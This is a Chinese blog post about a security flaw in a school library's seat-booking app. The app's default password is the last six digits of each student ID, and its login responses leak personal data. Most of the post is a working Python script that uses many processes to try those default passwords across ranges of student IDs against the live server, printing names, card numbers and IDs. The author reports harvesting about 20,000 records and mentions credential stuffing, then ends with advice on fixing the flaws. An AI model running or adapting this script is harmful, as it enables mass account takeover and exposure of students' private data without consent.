背景:某学校图书馆为了防止占位,新出来一个软件,用于软件预约坐位,就想写个定时软件来每天预约坐位,把软件要来看看怎么实现。这个软件可能刚上线所以很多逻辑有bug,直接返回json包含了所有信息,而且软件默认为学生号后六位登陆。代码实现用python,多进程+协程处理。
抓包:打开Fiddler抓包,这个就不教程了,如图一,直接抓post登陆数据包,可以很容易发现,太low了吧。。。返回的信息都太全了,有什么不知道的呢?服务器都还是IP直连。出于对别人和软件的隐私,对图片进行处理。
图一:抓post数据
虽然软件有确认信息验证,但是你信息都返回到json了,就像赤裸裸的美女在哪跳钢管舞,吭~~反正就那个意思,这有什么用呢?只要没有改过密码的学生或者是只是改了简单的6位密码的学生,那岂不是信息都暴露了?
爬虫:想到这里,那岂不动手试试?ps:这里本人只是尝试,无意拉去个人信息,且信息无保留,仅作提供bug反馈。
那就模拟post直接把学号+学号后6位跑一遍,把学生的姓名,学生卡号,学生号,学生id全部输出出来吧。代码实现如下:
# -*- coding:utf-8 -*-
__author__ = 'longsir'
__date__ = '#=2018/8/31 13:53'
import requests,gevent
import json
import multiprocessing
import sys
reload(sys)
sys.setdefaultencoding('utf8')
def for_id(start_id,end_id):#循环学生id后6位
for id in range(start_id,end_id):
list = []#创建一个列表
userPhysicalCard = str(id).zfill(6)#设置6位数,前面不足补0
list.append(userPhysicalCard)#把学生后6位仍进去
t1=gevent.spawn(check_login,list)#创建一个协程,用于加快爬取速度
t1.join()
def fetch(post_body):#post登陆数据,抓取数据。
q = requests.post(url="http://IP/tsgintf/main/service", data=json.dumps(post_body))
if q.json()['result_code'] == '0':
print(q.json()['result_data']['userName'] + '----' + q.json()['result_data']['userPhysicalCard'] + '----' +
q.json()['result_data']['studentCard'] + '----' + str(q.json()['result_data']['userId'])) #打印需要的数据
# else:
# print(userPhysicalCard+'----密码错误')
def check_login(list): #用于生成请求数据body
tasks=[] #定义个协程列表
for userPhysicalCard in list: #把传过来的数据进行便利,仍进post_body里
post_body = {"intf_code": "QRY_LOGIN",
"params": {"userPhysicalCard": "2018" + userPhysicalCard, "password": userPhysicalCard,
"imei": "866146031624376", "pushid": "36100cd24536fc8c18cf", "os": "android",
"wmac": "50:8F:4C:F2:D2:1C", "version": "1.1.11", "tversion": 1535597698021,
"md5username": "58a4f9d5bbf4b0c658ded53023e6d2d1"}}
tasks.append(gevent.spawn(fetch, post_body))#创建协程,调用fetch函数,抓取数据
gevent.joinall(tasks)#多协程操作
if __name__ == '__main__':
#starttime = datetime.datetime.now()
process_list=[] #启动多进程
p1 = multiprocessing.Process(target=for_id, args=(210001, 300000,))
process_list.append(p1)
p2 = multiprocessing.Process(target=for_id, args=(300000, 400000,))
process_list.append(p2)
p3 = multiprocessing.Process(target=for_id, args=(400000, 500000,))
process_list.append(p3)
p4 = multiprocessing.Process(target=for_id, args=(500000, 600000,))
process_list.append(p4)
p5 = multiprocessing.Process(target=for_id, args=(600000, 700000,))
process_list.append(p5)
p6 = multiprocessing.Process(target=for_id, args=(700000, 800000,))
process_list.append(p6)
p7 = multiprocessing.Process(target=for_id, args=(800000, 900000,))
process_list.append(p7)
p8 = multiprocessing.Process(target=for_id, args=(900000, 1000000,))
process_list.append(p8)
#生成多进程,加快爬取速度
for p in process_list:
p.start()
for p in process_list:
p.join()
# p1.start()
# p2.start()
然后运行该简单的爬虫,把结果重定向处理。
结语:
- 用这么简单的脚本,我竟然爬了近2w的学生数据【如图二】,一共四届学生的全部信息,有了这些信息我能做什么?不用我说了吧,轻点的我可以掌握这部分学生的部分校园信息,重点的我甚至可以撞库,相信大部分大学生为了省事把各种密码就设置成学号后6位吧?虽然没有学生的身份证信息,但是谁有能确认利用这些信息不能获取到呢???
图二:部分学生信息图
2. 如何加强防范?长点心啊,这些信息为啥返回,不能隐藏后台校验吗?为什么不设置反爬虫机制?我一个ip爬了2w的信息,为什么不封我ip呢?为什么不设置成身份证后6位密码,而是仅仅简单的学号后6位呢?
3. 此篇文章并没有多大技术含量,仅以此文章反馈贵校软件存在的问题。希望贵校重视此问题并及时修复。